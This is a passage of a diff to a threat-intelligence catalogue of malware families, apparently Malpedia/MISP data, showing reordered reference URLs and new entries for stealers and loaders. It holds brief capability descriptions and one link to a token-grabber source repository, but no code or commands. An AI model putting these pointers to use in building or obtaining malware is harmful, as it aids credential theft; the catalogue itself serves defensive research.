"https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf", - "https://therecord.media/indonesian-intelligence-agency-compromised-in-suspected-chinese-hack/", - "https://blog.malwarebytes.com/threat-analysis/2016/08/unpacking-the-spyware-disguised-as-antivirus/", - "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia", - "https://twitter.com/xorhex/status/1399906601562165249?s=20", - "https://www.bleepingcomputer.com/news/security/chinas-apt-hackers-move-to-ransomware-attacks/", - "https://www.contextis.com/en/blog/avivore", - "https://www.secureworks.com/research/threat-profiles/bronze-woodland", - "https://silascutler.blogspot.com/2019/11/fresh-plugx-october-2019.html", - "https://www.recordedfuture.com/chinese-group-calypso-exploiting-microsoft-exchange/", - "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-handle-stack-strings/", "https://www.welivesecurity.com/2022/03/23/mustang-panda-hodur-old-tricks-new-korplug-variant/", - "https://unit42.paloaltonetworks.com/pkplug_chinese_cyber_espionage_group_attacking_asia/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/", + "https://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-keystone", + "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-handle-stack-strings/", + "https://www.zdnet.com/article/chinese-state-hackers-target-hong-kong-catholic-church/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", + "https://www.youtube.com/watch?v=qEwBGGgWgOM", + "https://cyberandramen.net/2022/01/06/a-gulp-of-plugx/", + "https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html", + "https://blog.xorhex.com/blog/reddeltaplugxchangeup/", + "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", + "https://www.secureworks.com/research/bronze-president-targets-ngos", + "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", + "https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited", + "https://www.nttsecurity.com/docs/librariesprovider3/default-document-library/craftypanda-analysis-report", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage", + "https://go.contextis.com/rs/140-OCV-459/images/White%20Paper_PlugX%20-%20Payload%20Extraction.pdf", + "https://www.recordedfuture.com/china-linked-ta428-threat-group", + "https://blog.viettelcybersecurity.com/p1-chien-dich-cua-nhom-apt-trung-quoc-goblin-panda-tan-cong-vao-viet-nam-loi-dung-dai-dich-covid-19/", + "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html", + "https://blog.xorhex.com/blog/mustangpandaplugx-2/", + "http://blog.jpcert.or.jp/.s/2017/04/redleaves---malware-based-on-open-source-rat.html", + "https://countuponsecurity.com/2018/05/09/malware-analysis-plugx-part-2/", + "https://www.nortonlifelock.com/sites/default/files/2021-10/OPERATION%20EXORCIST%20White%20Paper.pdf", "https://risky.biz/whatiswinnti/", + "https://or10nlabs.tech/reverse-engineering-the-new-mustang-panda-plugx-downloader/", + "https://www.secureworks.com/blog/bronze-president-targets-russian-speakers-with-updated-plugx", + "https://www.macnica.net/file/security_report_20160613.pdf", + "https://secjoes-reports.s3.eu-central-1.amazonaws.com/Dissecting+PlugX+to+Extract+Its+Crown+Jewels.pdf", + "https://securelist.com/cycldek-bridging-the-air-gap/97157/", + "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "https://www.recordedfuture.com/redecho-targeting-indian-power-sector/", + "https://or10nlabs.tech/reverse-engineering-the-mustang-panda-plugx-loader", + "https://www.secureworks.com/blog/bronze-president-targets-government-officials", + "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", + "https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader", + "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", + "https://threatrecon.nshc.net/2019/03/19/sectorm04-targeting-singapore-custom-malware-analysis/", + "https://silascutler.blogspot.com/2019/11/fresh-plugx-october-2019.html", + "https://www.darkreading.com/threat-intelligence/chinese-apt-bronze-president-spy-campaign-russian-military", + "https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html", + "https://threatpost.com/chinese-apt-combines-fresh-hodur-rat-with-complex-anti-detection/179084/", + "https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf", "https://www.cyber.gov.au/sites/default/files/2019-03/msp_investigation_report.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-riverside", - "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/", "http://blog.jpcert.or.jp/2017/02/plugx-poison-iv-919a.html", - "https://www.bleepingcomputer.com/news/security/new-mustang-panda-hacking-campaign-targets-diplomats-isps/" + "http://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf", + "https://www.us-cert.gov/ncas/alerts/TA17-117A", + "https://www.youtube.com/watch?v=C_TmANnbS2k", + "https://st.drweb.com/static/new-www/news/2020/july/Study_of_the_APT_attacks_on_state_institutions_in_Kazakhstan_and_Kyrgyzstan_en.pdf", + "https://www.welivesecurity.com/fr/2022/03/25/mustang-pandas-hodur-nouveau-korplug/", + "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia", + "https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt", + "https://blog.ensilo.com/uncovering-new-activity-by-apt10", + "https://www.trendmicro.com/en_us/research/21/a/xdr-investigation-uncovers-plugx-unique-technique-in-apt-attack.html", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://attack.mitre.org/groups/G0001/", + "https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european", + "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/", + "https://www.youtube.com/watch?v=IRh6R8o1Q7U", + "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/", + "https://blog.malwarebytes.com/threat-analysis/2016/08/unpacking-the-spyware-disguised-as-antivirus/", + "https://therecord.media/indonesian-intelligence-agency-compromised-in-suspected-chinese-hack/", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf" ], "synonyms": [ "Destroy RAT", @@ -32968,8 +34692,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.plurox", - "https://securelist.com/plurox-modular-backdoor/91213/", - "https://sysopfb.github.io/malware,/crypters/2019/09/23/Plurox-packer-layer-unpacked.html" + "https://sysopfb.github.io/malware,/crypters/2019/09/23/Plurox-packer-layer-unpacked.html", + "https://securelist.com/plurox-modular-backdoor/91213/" ], "synonyms": [], "type": [] @@ -32982,6 +34706,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pngdowner", + "https://attack.mitre.org/groups/G0024", "https://www.iocbucket.com/iocs/7f7999ab7f223409ea9ea10cff82b064ce2a1a31" ], "synonyms": [], @@ -32990,14 +34715,27 @@ "uuid": "fb4313ea-1fb6-4766-8b5c-b41fd347e4c5", "value": "pngdowner" }, + { + "description": "According to ESET Research, PNGLoad is a second-stage payload deployed by Worok on compromised systems and loaded either by CLRLoad or PowHeartBeat. PNGLoad has capabilities to download and execute additional payloads from a C&C server, which is likely how the attackers have deployed PNGLoad on systems compromised with PowHeartBeat. PNGLoad is a loader that uses bytes from PNG files to create a payload to execute. It is a 64-bit .NET executable - obfuscated with .NET Reactor - that masquerades as legitimate software. ", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.png_load", + "https://www.welivesecurity.com/2022/09/06/worok-big-picture/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f99b030e-7ad5-4983-b28a-43c14efd27c9", + "value": "PNGLoad" + }, { "description": "uses POCO C++ cross-platform library, Xor-based string obfuscation, SSL library code and string overlap with Xtunnel, infrastructure overlap with X-Agent, probably in use since mid-2018", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pocodown", "https://threatvector.cylance.com/en_us/home/inside-the-apt28-dll-backdoor-blitz.html", - "https://twitter.com/cyb3rops/status/1129653190444703744", - "https://threatvector.cylance.com/en_us/home/flirting-with-ida-and-apt28.html" + "https://threatvector.cylance.com/en_us/home/flirting-with-ida-and-apt28.html", + "https://twitter.com/cyb3rops/status/1129653190444703744" ], "synonyms": [ "Blitz", @@ -33013,12 +34751,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.poisonplug", - "https://content.fireeye.com/apt-41/rpt-apt41/", - "https://securelist.com/apt-trends-report-q3-2020/99204/", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage", + "https://securelist.com/apt-trends-report-q3-2020/99204/", "https://www.fireeye.com/blog/threat-research/2019/10/lowkey-hunting-for-the-missing-volume-serial-id.html", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage" + "https://content.fireeye.com/apt-41/rpt-apt41/" ], "synonyms": [ "Barlaiy" @@ -33033,45 +34771,53 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_ivy", - "https://researchcenter.paloaltonetworks.com/2016/04/unit42-new-poison-ivy-rat-variant-targets-hong-kong-pro-democracy-activists/", - "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", - "http://blog.fortinet.com/2017/08/23/deep-analysis-of-new-poison-ivy-variant", - "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/", - "https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html", - 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"https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html" ], "synonyms": [], "type": [] @@ -33890,14 +35695,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pushdo", + "https://www.secureworks.com/research/pushdo", "http://www.secureworks.com/research/threat-profiles/gold-essex", + "http://malware-traffic-analysis.net/2017/04/03/index2.html", + "https://www.trendmicro.de/cloud-content/us/pdfs/business/white-papers/wp_study-of-pushdo-cutwail-botnet.pdf", "https://www.blueliv.com/research/tracking-the-footproints-of-pushdo-trojan/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/", "https://www.secureworks.com/research/threat-profiles/gold-essex", - "https://www.trendmicro.de/cloud-content/us/pdfs/business/white-papers/wp_study-of-pushdo-cutwail-botnet.pdf", - "http://malware-traffic-analysis.net/2017/04/03/index2.html", - "https://www.secureworks.com/research/pushdo" + "https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/" ], "synonyms": [], "type": [] @@ -33948,32 +35753,32 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pwndlocker", - "https://norfolkinfosec.com/tinypos-and-prolocker-an-odd-relationship/", - "https://www.bleepingcomputer.com/news/security/new-pwndlocker-ransomware-targeting-us-cities-enterprises/", - "https://raw.githubusercontent.com/fboldewin/When-ransomware-hits-an-ATM-giant---The-Diebold-Nixdorf-case-dissected/main/When%20ransomware%20hits%20an%20ATM%20giant%20-%20The%20Diebold%20Nixdorf%20case%20dissected%20-%20Group-IB%20CyberCrimeCon2020.pdf", - "https://www.intrinsec.com/egregor-prolock/", - "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", - "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", - "https://www.hornetsecurity.com/en/security-information/qakbot-malspam-leading-to-prolock/", + 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"https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7", + "https://hatching.io/blog/reversing-qakbot", + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", + "https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/", + "https://twitter.com/tylabs/status/1462195377277476871", + "https://www.0ffset.net/reverse-engineering/malware-analysis/qakbot-browser-hooking-p1/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://www.elastic.co/de/security-labs/qbot-malware-analysis", + "https://isc.sans.edu/diary/rss/28568", + "https://twitter.com/Corvid_Cyber/status/1455844008081641472", + "https://www.cynet.com/attack-techniques-hands-on/quakbot-strikes-with-quaknightmare-exploitation/", + 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"https://go.recordedfuture.com/hubfs/reports/cta-2020-1203.pdf", - "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-analyzing-a-fowl-banking-trojan-part-1/", - "https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/", - "http://contagiodump.blogspot.com/2010/11/template.html", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.cylance.com/en_us/blog/threat-spotlight-the-return-of-qakbot-malware.html", - "https://www.f5.com/labs/articles/threat-intelligence/qbot-banking-trojan-still-up-to-its-old-tricks", - "https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/", - "https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus", - "https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/", - "https://blog.quosec.net/posts/grap_qakbot_navigation/", - "https://blogs.vmware.com/security/2021/11/telemetry-peak-analyzer-an-automatic-malware-campaign-detector.html", - "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", - "https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html", - "https://redcanary.com/blog/intelligence-insights-november-2021/", - "https://madlabs.dsu.edu/madrid/blog/2021/04/30/qbot-analyzing-php-proxy-scripts-from-compromised-web-server/", - "https://twitter.com/redcanary/status/1334224861628039169", - "https://web.archive.org/web/20201207094648/https://go.group-ib.com/rs/689-LRE-818/images/Group-IB_Egregor_Ransomware.pdf", - "https://www.youtube.com/watch?v=M22c1JgpG-U", - "https://www.bleepingcomputer.com/news/security/qbot-malware-switches-to-new-windows-installer-infection-vector/", - "https://perception-point.io/insights-into-an-excel-4-0-macro-attack-using-qakbot-malware", - "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", - "https://www.0ffset.net/reverse-engineering/malware-analysis/qakbot-browser-hooking-p1/", - "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://twitter.com/elisalem9/status/1381859965875462144", - "https://www.trendmicro.com/en_us/research/21/c/egregor-ransomware-cartel-members-arrested.html", - "https://twitter.com/Corvid_Cyber/status/1455844008081641472", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", - "https://www.bitsight.com/blog/emotet-botnet-rises-again", - "https://www.linkedin.com/posts/zayedaljaberi_hunting-recent-qakbot-malware-activity-6903498764984606720-2Gl4", - "https://www.secureworks.com/research/threat-profiles/gold-lagoon", - "https://isc.sans.edu/diary/rss/28728", - "https://experience.mandiant.com/trending-evil-2/p/1", - "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/", - "https://securityintelligence.com/news/qbot-malware-using-windows-defender-antivirus-lure/", - "https://www.youtube.com/watch?v=iB1psRMtlqg", - "https://securityintelligence.com/posts/sodinokibi-ransomware-incident-response-intelligence-together/", - "https://www.trendmicro.com/en_us/research/21/k/qakbot-loader-returns-with-new-techniques-and-tools.html", - "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-OReilly-Jarvis-End-to-end-Botnet-Monitoring.pdf", - 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"https://www.fireeye.com/blog/threat-research/2019/04/spear-phishing-campaign-targets-ukraine-government.html", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://www.qualys.com/docs/whitepapers/qualys-wp-stealthy-quasar-evolving-to-lead-the-rat-race-v220727.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "https://www.zscaler.com/blogs/research/shellreset-rat-spread-through-macro-based-documents-using-applocker-bypass", + "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", + "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" ], "synonyms": [ "CinaRAT", @@ -34402,6 +36232,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.quickheal", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf", "https://medium.com/insomniacs/quarians-turians-and-quickheal-670b24523b42" ], "synonyms": [], @@ -34410,6 +36241,32 @@ "uuid": "8a4747a4-8165-40eb-abfe-fd674558ecb4", "value": "QuickHeal" }, + { + "description": "QuickMute is a malware developed using the C/C++ programming language. Functionally provides download, RC4 decryption, and in-memory launch of the payload (waiting for a PE file with the export function \"HttpsVictimMain\"). To communicate with the management server, a number of protocols are provided, in particular: TCP, UDP, HTTP, HTTPS.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.quickmute", + "https://cert.gov.ua/article/375404" + ], + "synonyms": [], + "type": [] + }, + "uuid": "56d5ee92-845e-4b71-814c-2b0f0ca88523", + "value": "QUICKMUTE" + }, + { + "description": "According to Microsoft, this is a heavily obfuscated .NET malware, primarily geared towards the exfiltration of data from the compromised host. But it can also receive and execute a remote payload from the operator.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.quietsieve", + "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "49aa0a57-812c-4344-9315-cd8c3220198e", + "value": "QuietSieve" + }, { "description": "Qulab is an AutoIT Malware focusing on stealing & clipping content from victim's machines.\r\n", "meta": { @@ -34423,6 +36280,21 @@ "uuid": "728ce877-6f1d-4719-81df-387a8e395695", "value": "Qulab" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.qvoidstealer", + "https://github.com/Enum0x539/Qvoid-Token-Grabber" + ], + "synonyms": [ + "Qvoid-Token-Grabber" + ], + "type": [] + }, + "uuid": "020950da-79e5-481b-9986-14ed1c97e04c", + "value": "QvoidStealer" + }, { "description": "", "meta": { @@ -34437,45 +36309,57 @@ "value": "r980" }, { - "description": "Raccoon is a stealer and collects \"passwords, cookies and autofill from all popular browsers (including FireFox x64), CC data, system information, almost all existing desktop wallets of cryptocurrencies\".", + "description": "Raccoon Stealer is a malware reportedly sold for $75 a week or $200 a month. It gathers personal information including passwords, browser cookies and autofill data, as well as cryptowallet details. Additionally, Raccoon Stealer records system information such as IP addresses and geo-location data.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon", - "https://medium.com/s2wlab/w1-feb-en-story-of-the-week-stealers-on-the-darkweb-49945a31601d", - "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", - "https://www.youtube.com/watch?v=5KHZSmBeMps", - "https://team-cymru.com/blog/2022/03/23/raccoon-stealer-an-insight-into-victim-gates/", - "https://www.zerofox.com/blog/raccoon-stealer-pivots-towards-self-protection/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://www.bleepingcomputer.com/news/security/raccoon-stealer-malware-suspends-operations-due-to-war-in-ukraine/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html", "https://blog.cyble.com/2021/10/21/raccoon-stealer-under-the-lens-a-deep-dive-analysis/", - "https://asec.ahnlab.com/en/35981/", - "https://www.group-ib.com/blog/fakesecurity_raccoon", - "https://news.sophos.com/en-us/2021/09/01/fake-pirated-software-sites-serve-up-malware-droppers-as-a-service/", + "https://any.run/cybersecurity-blog/raccoon-stealer-v2-malware-analysis/", "https://therecord.media/malware-group-leaks-millions-of-stolen-authentication-cookies/", - "https://www.bleepingcomputer.com/news/security/massive-campaign-uses-youtube-to-push-password-stealing-malware/", - "https://lp.cyberark.com/rs/316-CZP-275/images/CyberArk-Labs-Racoon-Malware-wp.pdf", - "https://webcache.googleusercontent.com/search?q=cache:AvJw47-V_WwJ:https://ultrahacks.org/shop/product/raccoon-stealer-onion-panel/+&cd=1&hl=en&ct=clnk&gl=ch&client=firefox-b-d", - "https://medium.com/s2wlab/deep-analysis-of-raccoon-stealer-5da8cbbc4949", - "https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf", - "https://www.youtube.com/watch?v=1dbepxN2YD8", - "https://www.secfreaks.gr/2019/12/in-depth-analysis-of-an-infostealer-raccoon.html", - "https://decoded.avast.io/vladimirmartyanov/raccoon-stealer-trash-panda-abuses-telegram", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://www.riskiq.com/blog/labs/magecart-medialand/", - "https://www.bitdefender.com/files/News/CaseStudies/study/289/Bitdefender-WhitePaper-Fallout.pdf", - "https://www.cybereason.com/blog/hunting-raccoon-stealer-the-new-masked-bandit-on-the-block", - "https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/", - "https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d", - "https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/", - "https://blog.malwarebytes.com/social-engineering/2020/09/malvertising-campaigns-come-back-in-full-swing/", - "https://news.sophos.com/en-us/2021/08/03/trash-panda-as-a-service-raccoon-stealer-steals-cookies-cryptocoins-and-more/", + "https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/", "https://blogs.blackberry.com/en/2021/09/threat-thursday-raccoon-infostealer", + "https://www.zerofox.com/blog/raccoon-stealer-pivots-towards-self-protection/", + "https://news.sophos.com/en-us/2021/09/01/fake-pirated-software-sites-serve-up-malware-droppers-as-a-service/", + "https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf", + "https://twitter.com/GroupIB_GIB/status/1570821174736850945", + "https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/", + "https://blog.malwarebytes.com/social-engineering/2020/09/malvertising-campaigns-come-back-in-full-swing/", + "https://www.cybereason.com/blog/hunting-raccoon-stealer-the-new-masked-bandit-on-the-block", + "https://lp.cyberark.com/rs/316-CZP-275/images/CyberArk-Labs-Racoon-Malware-wp.pdf", + "https://www.bleepingcomputer.com/news/security/massive-campaign-uses-youtube-to-push-password-stealing-malware/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://www.zscaler.com/blogs/security-research/raccoon-stealer-v2-latest-generation-raccoon-family", + "https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem", + "https://team-cymru.com/blog/2022/03/23/raccoon-stealer-an-insight-into-victim-gates/", + "https://www.socinvestigation.com/raccoon-infostealer-malware-returns-with-new-ttps-detection-response/", + "https://www.zerofox.com/blog/brief-raccoon-stealer-version-2-0/", + "https://www.group-ib.com/blog/fakesecurity_raccoon", + "https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d", + "https://www.secfreaks.gr/2019/12/in-depth-analysis-of-an-infostealer-raccoon.html", + "https://www.youtube.com/watch?v=5KHZSmBeMps", + "https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/", + "https://www.riskiq.com/blog/labs/magecart-medialand/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://www.bitdefender.com/files/News/CaseStudies/study/289/Bitdefender-WhitePaper-Fallout.pdf", + "https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", + "https://labs.k7computing.com/index.php/raccoon-back-with-new-claws/", + "https://www.youtube.com/watch?v=1dbepxN2YD8", + "https://d01a.github.io/raccoon-stealer/", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", "https://www.bleepingcomputer.com/news/security/new-meta-information-stealer-distributed-in-malspam-campaign/", + "https://www.bleepingcomputer.com/news/security/raccoon-stealer-malware-suspends-operations-due-to-war-in-ukraine/", + "https://medium.com/s2wlab/w1-feb-en-story-of-the-week-stealers-on-the-darkweb-49945a31601d", + "https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://asec.ahnlab.com/en/35981/", + "https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a", "https://asec.ahnlab.com/ko/25837/", - "https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/" + "https://decoded.avast.io/vladimirmartyanov/raccoon-stealer-trash-panda-abuses-telegram", + "https://medium.com/s2wlab/deep-analysis-of-raccoon-stealer-5da8cbbc4949", + "https://ke-la.com/information-stealers-a-new-landscape/", + "https://webcache.googleusercontent.com/search?q=cache:AvJw47-V_WwJ:https://ultrahacks.org/shop/product/raccoon-stealer-onion-panel/+&cd=1&hl=en&ct=clnk&gl=ch&client=firefox-b-d", + "https://news.sophos.com/en-us/2021/08/03/trash-panda-as-a-service-raccoon-stealer-steals-cookies-cryptocoins-and-more/" ], "synonyms": [ "Mohazo", @@ -34531,51 +36415,51 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ragnarlocker", - "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", - "https://www.acronis.com/en-sg/articles/ragnar-locker/", - "https://www.ic3.gov/Media/News/2022/220307.pdf", - "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", - "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", + "https://www.zdnet.com/article/capcom-quietly-discloses-cyberattack-impacting-email-file-servers/", + "https://blog.cyble.com/2022/01/20/deep-dive-into-ragnar-locker-ransomware-gang/", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://cyware.com/news/ragnar-locker-breached-52-organizations-and-counting-fbi-warns-0588d220/", "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.bleepingcomputer.com/news/security/japanese-game-dev-capcom-hit-by-cyberattack-business-impacted/", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://seguranca-informatica.pt/ragnar-locker-malware-analysis/", + "https://securelist.com/targeted-ransomware-encrypting-data/99255/", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", + 